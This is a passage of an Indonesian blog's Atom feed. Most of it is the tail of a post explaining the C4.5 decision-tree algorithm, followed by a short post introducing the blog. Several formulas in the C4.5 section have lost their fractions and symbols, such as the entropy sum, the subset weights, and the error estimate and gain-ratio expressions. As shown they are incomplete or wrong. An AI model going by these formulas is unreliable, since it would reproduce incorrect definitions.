log&lt;sub&gt;2&lt;/sub&gt;&lt;/span&gt;&lt;span lang="pl-PL"&gt;) + &lt;/span&gt;&lt;span lang="pl-PL"&gt;* (- &lt;/span&gt;&lt;span lang="pl-PL"&gt;* log&lt;sub&gt;2&lt;/sub&gt;&lt;/span&gt;&lt;span lang="pl-PL"&gt;-&lt;/span&gt;&lt;span lang="pl-PL"&gt;* log&lt;sub&gt;2&lt;/sub&gt;&lt;/span&gt;&lt;span lang="pl-PL"&gt;) + &lt;/span&gt;&lt;span lang="pl-PL"&gt;* &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-left: 2.86cm; text-indent: -0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="sv-SE"&gt;(-&lt;/span&gt;&lt;span lang="sv-SE"&gt;* log&lt;sub&gt;2&lt;/sub&gt;&lt;/span&gt;&lt;span lang="sv-SE"&gt;-&lt;/span&gt;&lt;span lang="sv-SE"&gt;* log&lt;sub&gt;2&lt;/sub&gt;&lt;/span&gt;&lt;span lang="sv-SE"&gt;) =  0.747&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;span lang="sv-SE"&gt;Gain (Outlook) = &lt;/span&gt;&lt;span lang="sv-SE"&gt;* (0.961-0.747) = 0.199 &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;span lang="sv-SE"&gt;Split = -&lt;/span&gt;&lt;span lang="sv-SE"&gt;*log&lt;sub&gt;2&lt;/sub&gt;&lt;/span&gt;&lt;span lang="sv-SE"&gt;-&lt;/span&gt;&lt;span lang="sv-SE"&gt;*log&lt;sub&gt;2&lt;/sub&gt;&lt;/span&gt;&lt;span lang="sv-SE"&gt;-&lt;/span&gt;&lt;span lang="sv-SE"&gt;*log&lt;sub&gt;2&lt;/sub&gt;&lt;/span&gt;&lt;span lang="sv-SE"&gt;-&lt;/span&gt;&lt;span lang="sv-SE"&gt;*log&lt;sub&gt;2&lt;/sub&gt;&lt;/span&gt;&lt;span lang="sv-SE"&gt;= 1.809&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;span lang="sv-SE"&gt;Gain ratio = &lt;/span&gt;&lt;span lang="sv-SE"&gt;= 0.110&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify" lang="sv-SE"&gt; Setelah semua Gain diketahui maka dapat ditentukan atribut mana yang layak menjadi root. Atribut yang layak adalah atribut yang mempunyai Gain terbesar&lt;/p&gt; &lt;h3 class="western" style="line-height: 150%;" lang="sv-SE"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;2.4.3 Penanganan Atribut Kontinyu&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="sv-SE"&gt;Algoritma C4.5 juga menangani masalah atribut kontinyu. Salah satu cara adalah dengan&lt;i&gt; Entropy-Based Discretization&lt;/i&gt; yang melibatkan penghitungan class entropy.&lt;/span&gt;&lt;/p&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Misalkan T membagi S example menjadi subset S1 dan S2. Umpakan ada &lt;i&gt;k&lt;/i&gt; class C1, C2, …,Ck. Misal P(C&lt;i&gt;i&lt;/i&gt;, S&lt;i&gt;j&lt;/i&gt;) menjadi perbandingan dari example pada S&lt;i&gt;j&lt;/i&gt; yang mempunyai class &lt;i&gt;i&lt;/i&gt;. &lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;Maka class entropy dari subset S&lt;i&gt;j &lt;/i&gt;didefinisikan dengan :&lt;/p&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="pl-PL"&gt;Ent(S) = - &lt;/span&gt;&lt;span lang="pl-PL"&gt;P(Ci, S) log(P(Ci, S))&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;Dan class information entropy E(A, T;S)&lt;/p&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; E(A, T;S) = Ent(S1) + Ent(S2)&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;span lang="sv-SE"&gt;Dimana Ent(S&lt;i&gt;j&lt;/i&gt;) = class entropy dari subset S&lt;i&gt;j&lt;/i&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 1.59cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; S&lt;i&gt;j&lt;/i&gt; = subset dari S&lt;/p&gt; &lt;p style="margin-left: 1.59cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; C&lt;i&gt;i&lt;/i&gt; = class &lt;i&gt;i&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-left: 1.59cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="it-IT"&gt;P(C&lt;i&gt;i&lt;/i&gt;, S&lt;i&gt;j&lt;/i&gt;) = perbandingan instance dari S&lt;i&gt;j&lt;/i&gt; yang berada pada class C&lt;i&gt;i&lt;/i&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 1.59cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; E(A, TA;S) = class information entropy partisi dengan cut point T&lt;sub&gt;A&lt;/sub&gt; di A&lt;/p&gt; &lt;p style="margin-left: 1.59cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; A = atribut  &lt;/p&gt; &lt;p style="margin-left: 1.59cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; |S&lt;i&gt;k&lt;/i&gt;| = jumlah instance di S&lt;i&gt;k&lt;/i&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;"&gt;Cut point yang terbaik adalah yang memberikan class information entropy yang paling kecil diantara semua kandidat cut point.&lt;/p&gt; &lt;h3 class="western" style="line-height: 150%;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;2.4.4 Pruning Tree&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Pruning tree adalah melakukan suatu kegiatan untuk mengganti suatu subtree dengan suatu leaf. Penggantian dilakukan jika error rate pada subtree lebih besar jika dibandingkan dengan single leaf.&lt;/p&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Pada C4.5 perkiraan error untuk satu node dihitung dengan :&lt;/p&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="it-IT"&gt;e = &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify" lang="it-IT"&gt; Jika c = 25% (default untuk C4.5) maka z = 0,69 (dari distribusi normal)&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;span lang="it-IT"&gt;f : error pada data &lt;i&gt;training&lt;/i&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;N : jumlah instance pada satu leaf&lt;/p&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;Contoh :&lt;/p&gt;&lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="center"&gt;&lt;span lang="sv-SE"&gt;&lt;b&gt;Gambar :&lt;/b&gt; Tree Pruning&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;" align="center"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="center"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0cm;" lang="es-AR"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="center"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" lang="es-AR"&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-7619173217168806091?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/7619173217168806091/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=7619173217168806091&amp;isPopup=true' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/7619173217168806091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/7619173217168806091'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/06/memulai-merehap-data-kembali.html' title='memulai  Data kembali..[ - Struktur dari Clasification Data mining -]'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-5379760178431670199</id><published>2007-05-16T22:07:00.000+07:00</published><updated>2007-05-16T22:35:44.028+07:00</updated><title type='text'>Wajah Baru di Blog sebelum peluncuran web Sendiri di Buat</title><content type='html'>Dulunya...Saya ingin memiliki sebuah gudang penempatan file yang perlu di publikasikan, hingga saat ini. Saya selalu malas dan tidak ada waktu untuk menjadi seorang webmaster dan belajar mengarah kesana. Tapi keinginan yang kuat untuk memiliki web sendiri yang pastinya berguna juga bagi pengunjung kita yang ada di muka bumi ini..khusunya buat negeri kita tercinta.. :P ;)&lt;br /&gt; Saya akan melanjutkan Blog ini sedemikan rupa yang seutuhnya seperti web biasa. Walau saya masih merasa menumpang di blog ini ..tapi saya masih berusaha untuk menggunakannya untuk hal yang terbaik ketimbang kita register tapi ga pernah update, itu sama sekali menghabiskan space database pemilik web ini.. D:, :P~~ EGP [Emank gua pikirin] :P heehhehehe&lt;br /&gt; Saat ini saya masih bingung mau buat kategori dan pembahasan tentang apa, tapi kategori yang pasti ,saya akan mengisikan file² tentang perlkembangan IT so..be hacking file .yang poko nye bisa di manfaatin so be Tutorial bagi anak bangsa dan buat para newBie computing...&lt;br /&gt;Include + Include + Include + Include akan bisa membantu pengetahuan ke dalam memori tanpa ada nutrimax +++ %....&lt;br /&gt;Selamat mengunjungi artikel pertama hingga terakhir dan hingga terakhir internet berubah jadi sesuatu yang akan datang.... gunakan waktu seperluny buat membaca Blog ini, dan gunakan computer yang terhubung ke intnet untuk mencari segala sesuatunya file yang perlu buat kita :P&lt;br /&gt;-----------------Jangan terlalu banyak menyakiti komputer orang yah..!!.-------------------&lt;br /&gt;-----------------ntar kita sendiri yang sakit karena komputer kita sendiri -------------------&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-5379760178431670199?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/5379760178431670199/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=5379760178431670199&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/5379760178431670199'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/5379760178431670199'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/05/wajah-baru-di-blog-sebelum-peluncuran.html' title='Wajah Baru di Blog sebelum peluncuran web Sendiri di Buat'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
